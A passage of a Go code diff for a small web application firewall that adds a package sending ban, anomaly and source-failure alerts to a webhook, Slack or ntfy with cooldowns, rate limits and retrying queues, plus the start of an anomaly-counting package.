 google.golang.org/protobuf v1.36.11/go.mod h1:HTf+CrKn2C3g5S8VImy6tdcUvCska2kB7j23XfzDpco=
 gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
 gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
+rsc.io/binaryregexp v0.2.0 h1:HfqmD5MEmC0zvwBuF187nq9mdnXjXsSivRiXN7SmRkE=
+rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8=

internal/alerts/alerts.go

@@ -0,0 +1,939 @@
+// Package alerts sends alerts on bans, on traffic over an anomaly
+// threshold, on a source that fails and on a file with an error to each
+// destination set: to the webhook
+// SWWAF_ALERT_WEBHOOK_URL names, each as one JSON object, as "The JSON
+// object" in docs/alerts.md describes, to the Slack incoming
+// webhook SWWAF_ALERT_SLACK_WEBHOOK_URL names, as a message, and to the
+// ntfy topic SWWAF_ALERT_NTFY_URL names. A repeat within
+// SWWAF_ALERT_COOLDOWN is held back, and so is an alert past
+// SWWAF_ALERT_MAX_PER_HOUR, for the hour's summary. The others wait in a
+// bounded queue of each destination's own, so that a destination that is
+// slow or unreachable holds up neither the others nor any request. The
+// state is written to alerts.json and read from it by the state package.
+// Nothing logged names a destination's URL, whose path or query can carry
+// a secret.
+package alerts
+
+import (
+	"bytes"
+	"cmp"
+	"context"
+	"encoding/json"
+	"errors"
+	"fmt"
+	"io"
+	"log/slog"
+	"maps"
+	"net/http"
+	"net/netip"
+	"net/url"
+	"slices"
+	"strings"
+	"sync"
+	"sync/atomic"
+	"time"
+)
+
+// The events an alert is for, as SWWAF_ALERT_EVENTS names them.
+const (
+	// EventBan is a ban smallwebwaf made.
+	EventBan = "ban"
+	// EventPermanentBan is a permanent ban smallwebwaf made, or a ban it
+	// made permanent.
+	EventPermanentBan = "permanent_ban"
+	// EventAnomaly is a count of requests or bytes over an anomaly
+	// threshold.
+	EventAnomaly = "anomaly"
+	// EventWAFBlock is a request the Core Rule Set scored at or over
+	// SWWAF_WAF_ANOMALY_THRESHOLD, refused in block mode, let through in
+	// detect mode.
+	EventWAFBlock = "waf_block"
+	// EventReputationHit is a request whose client a blocklist, the
+	// CrowdSec decision list or a DNSBL zone lists, or whose AbuseIPDB score
+	// is a hit.
+	EventReputationHit = "reputation_hit"
+	// EventSourceFailure is GeoJS failing or refusing smallwebwaf, a fetch
+	// of a list failing, a query to a DNSBL zone or a check with AbuseIPDB
+	// failing or refused, or the day's AbuseIPDB checks used up.
+	EventSourceFailure = "source_failure"
+	// EventFileError is a rule file or state file edited while smallwebwaf
+	// runs that does not parse, a replacement of the lookup database that
+	// cannot be read, or a state file that cannot be written.
+	EventFileError = "file_error"
+	// EventSummary is the summary sent as an hour ends: of the alerts held
+	// back in it past SWWAF_ALERT_MAX_PER_HOUR, and of the repeats held
+	// back by the cooldowns dropped as it ends, which no alert let through
+	// has given. It is sent with SWWAF_ALERT_MAX_PER_HOUR off too, for
+	// those repeats. SWWAF_ALERT_EVENTS does not name it.
+	EventSummary = "summary"
+)
+
+// Events returns every event SWWAF_ALERT_EVENTS can name, which is its
+// default.
+func Events() []string {
+	return []string{
+		EventBan, EventPermanentBan, EventWAFBlock, EventAnomaly,
+		EventReputationHit, EventSourceFailure, EventFileError,
+	}
+}
+
+// The destinations alerts are sent to, as the metrics and alerts.json
+// name them.
+const (
+	// DestinationWebhook is the webhook SWWAF_ALERT_WEBHOOK_URL names.
+	DestinationWebhook = "webhook"
+	// DestinationSlack is the Slack incoming webhook
+	// SWWAF_ALERT_SLACK_WEBHOOK_URL names.
+	DestinationSlack = "slack"
+	// DestinationNtfy is the ntfy topic SWWAF_ALERT_NTFY_URL names.
+	DestinationNtfy = "ntfy"
+)
+
+// Destinations returns every destination alerts can be sent to.
+func Destinations() []string {
+	return []string{DestinationWebhook, DestinationSlack, DestinationNtfy}
+}
+
+const (
+	// queueSize is the most alerts that wait to be sent to a destination.
+	// Past it, the oldest is dropped.
+	queueSize = 1000
+	// sendTimeout bounds one request to a destination.
+	sendTimeout = 10 * time.Second
+	// After a request to a destination fails, the alert is sent again a
+	// second later, and retryDelayFactor times as long after each further
+	// failure in a row, up to a minute.
+	firstRetryDelay  = time.Second
+	retryDelayFactor = 2
+	maxRetryDelay    = time.Minute
+	// maxAnswerBytes is the most of a destination's answer that is read.
+	maxAnswerBytes = 64 << 10
+)
+
+var (
+	errStatus = errors.New("the destination answered")
+	// errRefused is a 4xx answer other than 408 and 429: the destination
+	// refuses the alert itself, and would refuse it again.
+	errRefused = errors.New("the destination refused the alert, answering")
+)
+
+// Params are what New needs. With none of WebhookURL, SlackURL and
+// NtfyURL set, no alert is sent.
+type Params struct {
+	// WebhookURL is where each alert is posted as JSON
+	// (SWWAF_ALERT_WEBHOOK_URL), nil while it is unset. WebhookHeaders
+	// are sent with each (SWWAF_ALERT_WEBHOOK_HEADERS).
+	WebhookURL     *url.URL
+	WebhookHeaders http.Header
+	// SlackURL is the Slack incoming webhook each alert is posted to as a
+	// message (SWWAF_ALERT_SLACK_WEBHOOK_URL), nil while it is unset.
+	SlackURL *url.URL
+	// NtfyURL is the ntfy topic each alert is published to
+	// (SWWAF_ALERT_NTFY_URL), nil while it is unset. NtfyToken, unless
+	// empty, is sent with each as a bearer token (SWWAF_ALERT_NTFY_TOKEN).
+	NtfyURL   *url.URL
+	NtfyToken string
+	// Events are the events alerts are sent for (SWWAF_ALERT_EVENTS).
+	Events []string
+	// Cooldown is how long a repeat of an alert is held back
+	// (SWWAF_ALERT_COOLDOWN), 0 for no time. MaxPerHour is the most alerts
+	// sent in an hour (SWWAF_ALERT_MAX_PER_HOUR), 0 for no limit.
+	Cooldown   time.Duration
+	MaxPerHour int
+	// Instance is SWWAF_INSTANCE_NAME, which every alert gives.
+	Instance string
+	// Now tells the time of an alert, normally time.Now in UTC.
+	Now func() time.Time
+	// ProcessLog receives the requests to a destination that fail.
+	ProcessLog *slog.Logger
+}
+
+// Alert is one alert, as the webhook is sent it and alerts.json holds it,
+// with the fields of "The JSON object" in docs/alerts.md. ASN, ASName and
+// Country are, for a ban, the client's as the ban's notes give them. Host is
+// the site of the request that raised the alert, while one servewaf serves
+// many sites, and "" otherwise.
+//
+//nolint:tagliatelle // docs/alerts.md names the alert's fields in snake_case
+type Alert struct {
+	Instance string       `json:"instance"`
+	Time     time.Time    `json:"time"`
+	Event    string       `json:"event"`
+	Host     string       `json:"host,omitempty"`
+	Client   netip.Addr   `json:"client"`
+	Netblock netip.Prefix `json:"netblock"`
+	ASN      string       `json:"asn"`
+	ASName   string       `json:"as_name"`
+	Country  string       `json:"country"`
+	// Reason is a short sentence, and Detail what is particular to the
+	// event: for a file_error, its "file", for a source_failure, its
+	// "source", and for an anomaly, its "scope", with the "asn" or the
+	// "name" of some scopes, which the cooldown tells repeats by.
+	Reason string         `json:"reason"`
+	Detail map[string]any `json:"detail"`
+	// SuppressedRepeats is how many repeats of the alert the cooldown
+	// held back since the last one let through. For a summary, it is how
+	// many the cooldowns dropped as the hour ended had held back that no
+	// alert let through gave.
+	SuppressedRepeats int `json:"suppressed_repeats"`
+}
+
+// Cooldown is, for an event on a netblock, about a file or a source, or
+// for an anomaly in a scope, when the last alert let through was raised,
+// and how many repeats the cooldown has held back since, as alerts.json
+// holds it.
+//
+//nolint:tagliatelle // the state files use snake_case, as the request log does
+type Cooldown struct {
+	Event             string       `json:"event"`
+	Netblock          netip.Prefix `json:"netblock"`
+	File              string       `json:"file,omitempty"`
+	Source            string       `json:"source,omitempty"`
+	Scope             string       `json:"scope,omitempty"`
+	ASN               string       `json:"asn,omitempty"`
+	Name              string       `json:"name,omitempty"`
+	Sent              time.Time    `json:"sent"`
+	SuppressedRepeats int          `json:"suppressed_repeats"`
+}
+
+// Hour is the hour under way, by the clock, as alerts.json holds it: when
+// it started, how many alerts were let through in it, and how many were
+// held back in it past MaxPerHour, by event, for its summary.
+//
+//nolint:tagliatelle // the state files use snake_case, as the request log does
+type Hour struct {
+	Start    time.Time      `json:"start"`
+	Sent     int            `json:"sent"`
+	HeldBack map[string]int `json:"held_back"`
+}
+
+// State is what alerts.json holds: the cooldowns, the hour under way, and
+// for each destination set, the alerts waiting to be sent to it, oldest
+// first.
+type State struct {
+	Cooldowns []Cooldown         `json:"cooldowns"`
+	Hour      Hour               `json:"hour"`
+	Waiting   map[string][]Alert `json:"waiting"`
+}
+
+// Counts are, for a destination, how many alerts it took, how many
+// requests to it failed, and how many alerts were dropped from its full
+// queue or given up as it refused them.
+type Counts struct {
+	Sent, Failed, Dropped int64
+}
+
+// Queue takes the alerts raised, holds back those it must, and sends the
+// others to each destination set, from a queue of the destination's own.
+// It is safe for concurrent use.
+type Queue struct {
+	params Params
+	// destinations are the destinations set, in the order of
+	// Destinations.
+	destinations []*destination
+
+	mu sync.Mutex
+	// cooldowns are the alerts last let through, by event and netblock,
+	// file, source or scope.
+	cooldowns map[cooldownKey]*Cooldown
+	hour      Hour
+
+	suppressed atomic.Int64
+}
+
+// destination is a destination set, with the alerts waiting to be sent
+// to it. Its mu is taken after the Queue's, never before.
+type destination struct {
+	// name is how the metrics and alerts.json name the destination, and
+	// setting the setting that is its URL, which the log names in place
+	// of the URL.
+	name    string
+	setting string
+	url     *url.URL
+	// message returns the body an alert is posted with, and the headers
+	// sent with it.
+	message func(alert *Alert) ([]byte, http.Header, error)
+	// httpClient follows no redirect: a redirect is a failure.
+	httpClient *http.Client
+	processLog *slog.Logger
+	// queued receives a value when an alert joins the queue, unless one
+	// waits already, so that run looks at the queue again.
+	queued chan struct{}
+
+	mu sync.Mutex
+	// waiting are the alerts waiting to be sent, oldest first.
+	waiting []*Alert
+
+	sent, failed, dropped atomic.Int64
+}
+
+// cooldownKey is what makes an alert a repeat of another: the same event
+// on the same netblock, and about the same file or source, or in the same
+// scope with the same AS number or name, as its detail names them. Each
+// is empty for an alert without one.
+type cooldownKey struct {
+	event    string
+	netblock netip.Prefix
+	file     string
+	source   string
+	scope    string
+	asn      string
+	name     string
+}
+
+// cooldownKeyOf returns what makes another alert a repeat of alert.
+func cooldownKeyOf(alert *Alert) cooldownKey {
+	file, _ := alert.Detail["file"].(string)
+	source, _ := alert.Detail["source"].(string)
+	scope, _ := alert.Detail["scope"].(string)
+	asn, _ := alert.Detail["asn"].(string)
+	name, _ := alert.Detail["name"].(string)
+
+	return cooldownKey{alert.Event, alert.Netblock, file, source, scope, asn, name}
+}
+
+// New returns a Queue with no alert yet.
+func New(params Params) *Queue {
+	q := &Queue{
+		params:    params,
+		cooldowns: map[cooldownKey]*Cooldown{},
+		hour:      Hour{HeldBack: map[string]int{}},
+	}
+
+	if params.WebhookURL != nil {
+		q.addDestination(DestinationWebhook, "SWWAF_ALERT_WEBHOOK_URL",
+			params.WebhookURL, q.webhookMessage)
+	}
+
+	if params.SlackURL != nil {
+		q.addDestination(DestinationSlack, "SWWAF_ALERT_SLACK_WEBHOOK_URL",
+			params.SlackURL, slackMessage)
+	}
+
+	if params.NtfyURL != nil {
+		q.addDestination(DestinationNtfy, "SWWAF_ALERT_NTFY_URL",
+			params.NtfyURL, q.ntfyMessage)
+	}
+
+	return q
+}
+
+// Raise sends alert, which names its event and what is particular to it,
+// unless no destination is set or SWWAF_ALERT_EVENTS leaves its event
+// out. It gives alert the instance and the time. An alert that repeats
+// the last one let through less than Cooldown before is held back and
+// counted. The next one let through gives that count, unless an hour of
+// the clock ends first after the cooldown has run out: the cooldown is
+// then dropped, and that hour's summary gives the count. Past MaxPerHour
+// alerts let through in the hour under way, an alert is held back for
+// that hour's summary instead, which is sent once the hour has ended; it
+// starts no cooldown. Raise never waits: an alert let through joins the
+// queue of each destination, from which Run sends it, and with queueSize
+// alerts waiting for a destination, the oldest is dropped.
+func (q *Queue) Raise(alert Alert) {
+	if len(q.destinations) == 0 || !slices.Contains(q.params.Events, alert.Event) {
+		return
+	}
+
+	q.mu.Lock()
+	defer q.mu.Unlock()
+
+	now := q.params.Now()
+	alert.Instance = q.params.Instance
+	alert.Time = now
+
+	if q.repeat(&alert, now) {
+		q.suppressed.Add(1)
+
+		return
+	}
+
+	q.endHour(now)
+
+	if q.params.MaxPerHour > 0 && q.hour.Sent >= q.params.MaxPerHour {
+		q.hour.HeldBack[alert.Event]++
+		q.suppressed.Add(1)
+
+		return
+	}
+
+	q.startCooldown(&alert, now)
+	q.hour.Sent++
+	q.queue(&alert)
+}
+
+// WouldSend reports whether Raise would let an alert for event on
+// netblock through now: a destination is set, SWWAF_ALERT_EVENTS chooses
+// event, no alert for event on netblock was let through less than
+// Cooldown before, and fewer than MaxPerHour alerts have been let through
+// in the hour under way. Unlike Raise, it counts nothing.
+func (q *Queue) WouldSend(event string, netblock netip.Prefix) bool {
+	if len(q.destinations) == 0 || !slices.Contains(q.params.Events, event) {
+		return false
+	}
+
+	q.mu.Lock()
+	defer q.mu.Unlock()
+
+	now := q.params.Now()
+
+	last, found := q.cooldowns[cooldownKey{event: event, netblock: netblock}]
+	if q.params.Cooldown > 0 && found && now.Sub(last.Sent) < q.params.Cooldown {
+		return false
+	}
+
+	q.endHour(now)
+
+	return q.params.MaxPerHour == 0 || q.hour.Sent < q.params.MaxPerHour
+}
+
+// Run sends the alerts waiting to each destination, from its own queue,
+// as destination.run does, until ctx is done. It also ends each hour as
+// Raise does, so that the hour's summary is sent as it ends. With no
+// destination set, it returns at once.
+func (q *Queue) Run(ctx context.Context) {
+	if len(q.destinations) == 0 {
+		return
+	}
+
+	var sending sync.WaitGroup
+
+	for _, d := range q.destinations {
+		sending.Go(func() { d.run(ctx) })
+	}
+
+	for {
+		q.mu.Lock()
+		untilHourEnds := q.hour.Start.Add(time.Hour).Sub(q.params.Now())
+		q.mu.Unlock()
+
+		select {
+		case <-ctx.Done():
+			sending.Wait()
+
+			return
+		case <-time.After(untilHourEnds):
+			q.mu.Lock()
+			q.endHour(q.params.Now())
+			q.mu.Unlock()
+		}
+	}
+}
+
+// Counts returns the counts of the destination name, all 0 for one not
+// set.
+func (q *Queue) Counts(name string) Counts {
+	for _, d := range q.destinations {
+		if d.name == name {
+			return Counts{
+				Sent: d.sent.Load(), Failed: d.failed.Load(), Dropped: d.dropped.Load(),
+			}
+		}
+	}
+
+	return Counts{}
+}
+
+// DestinationsSet returns the destinations set, in the order of
+// Destinations.
+func (q *Queue) DestinationsSet() []string {
+	names := make([]string, 0, len(q.destinations))
+	for _, d := range q.destinations {
+		names = append(names, d.name)
+	}
+
+	return names
+}
+
+// Suppressed is how many alerts were held back: by the cooldown, and past
+// MaxPerHour. No destination is sent such an alert.
+func (q *Queue) Suppressed() int64 {
+	return q.suppressed.Load()
+}
+
+// Snapshot returns the queue's state, as alerts.json holds it, with the
+// cooldowns sorted by netblock, then by event, file, source, scope, AS
+// number and name.
+func (q *Queue) Snapshot() State {
+	q.mu.Lock()
+	defer q.mu.Unlock()
+
+	state := State{
+		Cooldowns: make([]Cooldown, 0, len(q.cooldowns)),
+		Hour:      q.hour,
+		Waiting:   map[string][]Alert{},
+	}
+	state.Hour.HeldBack = maps.Clone(q.hour.HeldBack)
+
+	for _, cooldown := range q.cooldowns {
+		state.Cooldowns = append(state.Cooldowns, *cooldown)
+	}
+
+	slices.SortFunc(state.Cooldowns, func(a, b Cooldown) int {
+		return cmp.Or(a.Netblock.Compare(b.Netblock), cmp.Compare(a.Event, b.Event),
+			cmp.Compare(a.File, b.File), cmp.Compare(a.Source, b.Source),
+			cmp.Compare(a.Scope, b.Scope), cmp.Compare(a.ASN, b.ASN),
+			cmp.Compare(a.Name, b.Name))
+	})
+
+	for _, d := range q.destinations {
+		state.Waiting[d.name] = d.snapshot()
+	}
+
+	return state
+}
+
+// Load puts state, read from alerts.json, in place of the queue's state.
+// Each cooldown's netblock is masked to its length, so that
+// 203.0.113.9/24 is 203.0.113.0/24. The alerts waiting for a destination
+// that is not set are dropped, and so are the oldest past queueSize
+// alerts waiting for one that is.
+func (q *Queue) Load(state State) {
+	q.mu.Lock()
+	defer q.mu.Unlock()
+
+	q.cooldowns = map[cooldownKey]*Cooldown{}
+
+	for _, cooldown := range state.Cooldowns {
+		cooldown.Netblock = cooldown.Netblock.Masked()
+		key := cooldownKey{
+			cooldown.Event, cooldown.Netblock, cooldown.File, cooldown.Source,
+			cooldown.Scope, cooldown.ASN, cooldown.Name,
+		}
+		q.cooldowns[key] = &cooldown
+	}
+
+	q.hour = state.Hour
+	q.hour.HeldBack = maps.Clone(state.Hour.HeldBack)
+
+	if q.hour.HeldBack == nil {
+		q.hour.HeldBack = map[string]int{}
+	}
+
+	for _, d := range q.destinations {
+		d.load(state.Waiting[d.name])
+	}
+}
+
+// addDestination adds a destination: its name, the setting that gives
+// its URL, that URL, target, and message, which makes the messages sent
+// to it.
+func (q *Queue) addDestination(
+	name, setting string, target *url.URL,
+	message func(alert *Alert) ([]byte, http.Header, error),
+) {
+	q.destinations = append(q.destinations, &destination{
+		name:    name,
+		setting: setting,
+		url:     target,
+		message: message,
+		httpClient: &http.Client{
+			CheckRedirect: func(*http.Request, []*http.Request) error {
+				return http.ErrUseLastResponse
+			},
+		},
+		processLog: q.params.ProcessLog,
+		queued:     make(chan struct{}, 1),
+	})
+}
+
+// repeat reports whether alert, raised at now, repeats the last one let
+// through less than Cooldown before, and counts it if it does.
+func (q *Queue) repeat(alert *Alert, now time.Time) bool {
+	if q.params.Cooldown == 0 {
+		return false
+	}
+
+	last, found := q.cooldowns[cooldownKeyOf(alert)]
+	if !found || now.Sub(last.Sent) >= q.params.Cooldown {
+		return false
+	}
+
+	last.SuppressedRepeats++
+
+	return true
+}
+
+// startCooldown gives alert, let through at now, the count of the repeats
+// held back since the last one let through, and notes alert as the last
+// one let through.
+func (q *Queue) startCooldown(alert *Alert, now time.Time) {
+	if q.params.Cooldown == 0 {
+		return
+	}
+
+	key := cooldownKeyOf(alert)
+
+	last, found := q.cooldowns[key]
+	if found {
+		alert.SuppressedRepeats = last.SuppressedRepeats
+	}
+
+	q.cooldowns[key] = &Cooldown{
+		Event: alert.Event, Netblock: alert.Netblock, File: key.file, Source: key.source,
+		Scope: key.scope, ASN: key.asn, Name: key.name, Sent: now,
+	}
+}
+
+// endHour ends the hour under way, if now is past it. It drops the
+// cooldowns that have run out, whatever repeats they held back, so that
+// they do not pile up, and queues that hour's summary when alerts were
+// held back in it past MaxPerHour, or when a cooldown dropped had held
+// back repeats, which no alert let through has given: the summary gives
+// them.
+func (q *Queue) endHour(now time.Time) {
+	start := now.Truncate(time.Hour)
+	if !start.After(q.hour.Start) {
+		return
+	}
+
+	repeats := 0
+
+	for key, cooldown := range q.cooldowns {
+		if now.Sub(cooldown.Sent) >= q.params.Cooldown {
+			repeats += cooldown.SuppressedRepeats
+
+			delete(q.cooldowns, key)
+		}
+	}
+
+	heldBack := 0
+	for _, count := range q.hour.HeldBack {
+		heldBack += count
+	}
+
+	var reasons []string
+
+	if heldBack > 0 {
+		reasons = append(reasons, fmt.Sprintf("%d alerts held back in the hour from %s, "+
+			"past the %d an hour SWWAF_ALERT_MAX_PER_HOUR allows", heldBack,
+			q.hour.Start.Format(time.RFC3339), q.params.MaxPerHour))
+	}
+
+	if repeats > 0 {
+		reasons = append(reasons, fmt.Sprintf("%d repeats held back by "+
+			"SWWAF_ALERT_COOLDOWN that no later alert gives", repeats))
+	}
+
+	if len(reasons) > 0 {
+		q.queue(&Alert{
+			Instance: q.params.Instance,
+			Time:     now,
+			Event:    EventSummary,
+			Reason:   strings.Join(reasons, "; "),
+			Detail: map[string]any{
+				"hour": q.hour.Start, "count": heldBack, "events": q.hour.HeldBack,
+			},
+			SuppressedRepeats: repeats,
+		})
+	}
+
+	q.hour = Hour{Start: start, HeldBack: map[string]int{}}
+}
+
+// queue adds alert to the alerts waiting for each destination.
+func (q *Queue) queue(alert *Alert) {
+	for _, d := range q.destinations {
+		d.add(alert)
+	}
+}
+
+// run sends the alerts waiting, oldest first, until ctx is done. An alert
+// stays in the queue until the destination answers it with a 2xx status,
+// or refuses it with a 4xx status other than 408 and 429: a refused alert
+// is logged, counted as dropped, and given up, so that the next is sent.
+// Any other request that fails is logged, and the alert sent again
+// firstRetryDelay later, retryDelayFactor times as long after each
+// further failure in a row, up to maxRetryDelay.
+func (d *destination) run(ctx context.Context) {
+	var (
+		retryDelay time.Duration
+		retryAt    time.Time
+	)
+
+	for {
+		alert := d.oldest()
+
+		var due <-chan time.Time // nil while no alert waits
+		if alert != nil {
+			due = time.After(time.Until(retryAt))
+		}
+
+		select {
+		case <-ctx.Done():
+			return
+		case <-d.queued:
+		case <-due:
+			err := d.send(ctx, alert)
+
+			switch {
+			case err == nil:
+				d.remove(alert)
+				d.sent.Add(1)
+
+				retryDelay = 0
+				retryAt = time.Time{}
+			case errors.Is(err, errRefused):
+				d.remove(alert)
+				d.failed.Add(1)
+				d.dropped.Add(1)
+
+				retryDelay = 0
+				retryAt = time.Time{}
+
+				d.processLog.Warn("gave up an alert "+d.setting+" refused",
+					"event", alert.Event, "error", err.Error())
+			case ctx.Err() == nil: // not cut off as smallwebwaf stops
+				d.failed.Add(1)
+
+				retryDelay = min(max(retryDelayFactor*retryDelay, firstRetryDelay),
+					maxRetryDelay)
+				retryAt = time.Now().Add(retryDelay)
+
+				d.processLog.Warn("sending an alert to "+d.setting+" failed",
+					"error", err.Error(), "sending_again_in", retryDelay.String())
+			}
+		}
+	}
+}
+
+// add adds alert to the alerts waiting, first dropping the oldest while
+// queueSize wait, and has run look at the queue again.
+func (d *destination) add(alert *Alert) {
+	d.mu.Lock()
+	defer d.mu.Unlock()
+
+	if len(d.waiting) == queueSize {
+		d.waiting = slices.Delete(d.waiting, 0, 1)
+		d.dropped.Add(1)
+	}
+
+	d.waiting = append(d.waiting, alert)
+
+	select {
+	case d.queued <- struct{}{}:
+	default: // a value waits already
+	}
+}
+
+// load puts waiting, read from alerts.json, in place of the alerts
+// waiting, as add adds them.
+func (d *destination) load(waiting []Alert) {
+	d.mu.Lock()
+	d.waiting = nil
+	d.mu.Unlock()
+
+	for _, alert := range waiting {
+		d.add(&alert)
+	}
+}
+
+// snapshot returns the alerts waiting, oldest first.
+func (d *destination) snapshot() []Alert {
+	d.mu.Lock()
+	defer d.mu.Unlock()
+
+	waiting := make([]Alert, 0, len(d.waiting))
+	for _, alert := range d.waiting {
+		waiting = append(waiting, *alert)
+	}
+
+	return waiting
+}
+
+// oldest returns the oldest alert waiting, nil when none waits.
+func (d *destination) oldest() *Alert {
+	d.mu.Lock()
+	defer d.mu.Unlock()
+
+	if len(d.waiting) == 0 {
+		return nil
+	}
+
+	return d.waiting[0]
+}
+
+// remove takes alert, which run has sent or given up, out of the queue,
+// unless it has been dropped from it, or load has replaced the queue,
+// since run took it. Only the oldest alert is ever dropped, so alert is
+// the oldest if it is there at all.
+func (d *destination) remove(alert *Alert) {
+	d.mu.Lock()
+	defer d.mu.Unlock()
+
+	if len(d.waiting) > 0 && d.waiting[0] == alert {
+		d.waiting = slices.Delete(d.waiting, 0, 1)
+	}
+}
+
+// send posts alert to the destination, as message makes it, and returns
+// an error unless the destination answers with a 2xx status: one that
+// wraps errRefused for a 4xx status other than 408 and 429. No error
+// names the destination's URL, whose path or query can carry a secret.
+func (d *destination) send(ctx context.Context, alert *Alert) error {
+	body, header, err := d.message(alert)
+	if err != nil {
+		return err
+	}
+
+	ctx, cancel := context.WithTimeout(ctx, sendTimeout)
+	defer cancel()
+
+	req, err := http.NewRequestWithContext(ctx, http.MethodPost, d.url.String(),
+		bytes.NewReader(body))
+	if err != nil {
+		return fmt.Errorf("make the request: %w", err)
+	}
+
+	maps.Copy(req.Header, header)
+
+	res, err := d.httpClient.Do(req)
+	if err != nil {
+		// The client's error names the URL: only what went wrong is kept.
+		if urlErr, ok := errors.AsType[*url.Error](err); ok {
+			return urlErr.Err
+		}
+
+		return err
+	}
+
+	defer func() {
+		_ = res.Body.Close()
+	}()
+
+	// Read, so that the connection can be used again.
+	_, _ = io.Copy(io.Discard, io.LimitReader(res.Body, maxAnswerBytes))
+
+	switch status := res.StatusCode; {
+	case status >= http.StatusOK && status < http.StatusMultipleChoices:
+		return nil
+	case status >= http.StatusBadRequest && status < http.StatusInternalServerError &&
+		status != http.StatusRequestTimeout && status != http.StatusTooManyRequests:
+		return fmt.Errorf("%w %s", errRefused, res.Status)
+	default:
+		return fmt.Errorf("%w %s", errStatus, res.Status)
+	}
+}
+
+// webhookMessage returns alert as JSON, for the webhook, and the headers
+// sent with it: WebhookHeaders, and its Content-Type.
+func (q *Queue) webhookMessage(alert *Alert) ([]byte, http.Header, error) {
+	body, err := json.Marshal(alert)
+	if err != nil {
+		return nil, nil, fmt.Errorf("encode the alert: %w", err)
+	}
+
+	header := http.Header{}
+	maps.Copy(header, q.params.WebhookHeaders)
+	header.Set("Content-Type", "application/json")
+
+	return body, header, nil
+}
+
+// slackMessage returns alert as a message for a Slack incoming webhook,
+// in JSON: its title in bold, then its text, with &, < and > escaped, as
+// Slack asks, so that nothing in them is read as a link or a mention.
+func slackMessage(alert *Alert) ([]byte, http.Header, error) {
+	escape := strings.NewReplacer("&", "&amp;", "<", "&lt;", ">", "&gt;").Replace
+
+	body, err := json.Marshal(map[string]string{
+		"text": "*" + escape(title(alert)) + "*\n" + escape(text(alert)),
+	})
+	if err != nil {
+		return nil, nil, fmt.Errorf("encode the message: %w", err)
+	}
+
+	return body, http.Header{"Content-Type": {"application/json"}}, nil
+}
+
+// ntfyMessage returns alert's text, as the message published to ntfy,
+// and the headers sent with it: its title, the priority and the tag of
+// its event, and NtfyToken, unless it is empty, as a bearer token.
+func (q *Queue) ntfyMessage(alert *Alert) ([]byte, http.Header, error) {
+	header := http.Header{
+		"Title":    {title(alert)},
+		"Priority": {ntfyPriority(alert.Event)},
+		"Tags":     {ntfyTag(alert.Event)},
+	}
+
+	if q.params.NtfyToken != "" {
+		header.Set("Authorization", "Bearer "+q.params.NtfyToken)
+	}
+
+	return []byte(text(alert)), header, nil
+}
+
+// ntfyPriority returns the priority an alert for event is published to
+// ntfy with: high for an event the admin needs to look at.
+func ntfyPriority(event string) string {
+	switch event {
+	case EventPermanentBan, EventAnomaly, EventSourceFailure, EventFileError:
+		return "high"
+	case EventReputationHit:
+		return "low"
+	default: // ban, waf_block and summary
+		return "default"
+	}
+}
+
+// ntfyTag returns the tag an alert for event is published to ntfy with,
+// which ntfy shows as an emoji.
+func ntfyTag(event string) string {
+	switch event {
+	case EventBan, EventPermanentBan:
+		return "no_entry"
+	case EventWAFBlock:
+		return "shield"
+	case EventAnomaly:
+		return "chart_with_upwards_trend"
+	case EventReputationHit:
+		return "label"
+	case EventSourceFailure, EventFileError:
+		return "warning"
+	default: // summary
+		return "bar_chart"
+	}
+}
+
+// title returns the title of alert in Slack and ntfy: the instance and
+// the event.
+func title(alert *Alert) string {
+	return alert.Instance + ": " + alert.Event
+}
+
+// text returns the text of alert in Slack and ntfy: its reason, then a
+// line for each of its host, client, netblock and country, the file,
+// source, error and mode its detail gives, and its suppressed repeats, that
+// it has.
+func text(alert *Alert) string {
+	lines := []string{alert.Reason}
+
+	if alert.Host != "" {
+		lines = append(lines, "host: "+alert.Host)
+	}
+
+	if alert.Client.IsValid() {
+		lines = append(lines, "client: "+alert.Client.String())
+	}
+
+	if alert.Netblock.IsValid() {
+		lines = append(lines, "netblock: "+alert.Netblock.String())
+	}
+
+	if alert.Country != "" {
+		lines = append(lines, "country: "+alert.Country)
+	}
+
+	for _, name := range []string{"file", "source", "error", "mode"} {
+		value, _ := alert.Detail[name].(string)
+		if value != "" {
+			lines = append(lines, name+": "+value)
+		}
+	}
+
+	if alert.SuppressedRepeats > 0 {
+		lines = append(lines, fmt.Sprintf("suppressed repeats: %d", alert.SuppressedRepeats))
+	}
+
+	return strings.Join(lines, "\n")
+}

internal/alerts/export_test.go

@@ -0,0 +1,16 @@
+package alerts
+
+import "net/http"
+
+// QueueSize is the most alerts that wait to be sent to a destination.
+const QueueSize = queueSize
+
+// SetTransport has q's requests to the destination name go through
+// transport instead of the network.
+func (q *Queue) SetTransport(name string, transport http.RoundTripper) {
+	for _, d := range q.destinations {
+		if d.name == name {
+			d.httpClient.Transport = transport
+		}
+	}
+}

internal/anomaly/anomaly.go

@@ -0,0 +1,411 @@
+// Package anomaly counts requests and bytes over a minute and an hour, per
+// client, per surrounding netblock, per AS number, for the whole service
+// and per named netblock, and raises an anomaly alert for a count over its
+// threshold, as "Anomaly thresholds" under "Settings" in SPEC.md
+// describes. It refuses and bans nothing. At most 20,000 counters
+// are kept, in memory, and written to alerts.json and read from it by the
+// state package.
+package anomaly
+
+import (
+	"cmp"
+	"fmt"
+	"net/netip"
+	"slices"
+	"sync"
+	"time"
+
+	"github.com/hashicorp/golang-lru/v2/simplelru"
+	"sneak.berlin/go/smallwebwaf/internal/alerts"
+	"sneak.berlin/go/smallwebwaf/internal/ratelimit"
+)
+
+// maxCounters is how many counters are kept. Past it, the counter counted
+// least recently is dropped, and starts afresh if it is counted again.
+const maxCounters = 20000
+
+// The scopes, what a counter counts, as the settings, alerts.json and the
+// alerts name them.
+const (
+	// ScopeClient is one client: an IPv4 address, or an IPv6 netblock of
+	// SWWAF_IPV6_GROUP_PREFIX.
+	ScopeClient = "client"
+	// ScopeNet is the netblock around a client, SWWAF_ANOMALY_NET_V4_PREFIX
+	// or SWWAF_ANOMALY_NET_V6_PREFIX long.
+	ScopeNet = "net"
+	// ScopeASN is an AS number.
+	ScopeASN = "asn"
+	// ScopeTotal is the whole service.
+	ScopeTotal = "total"
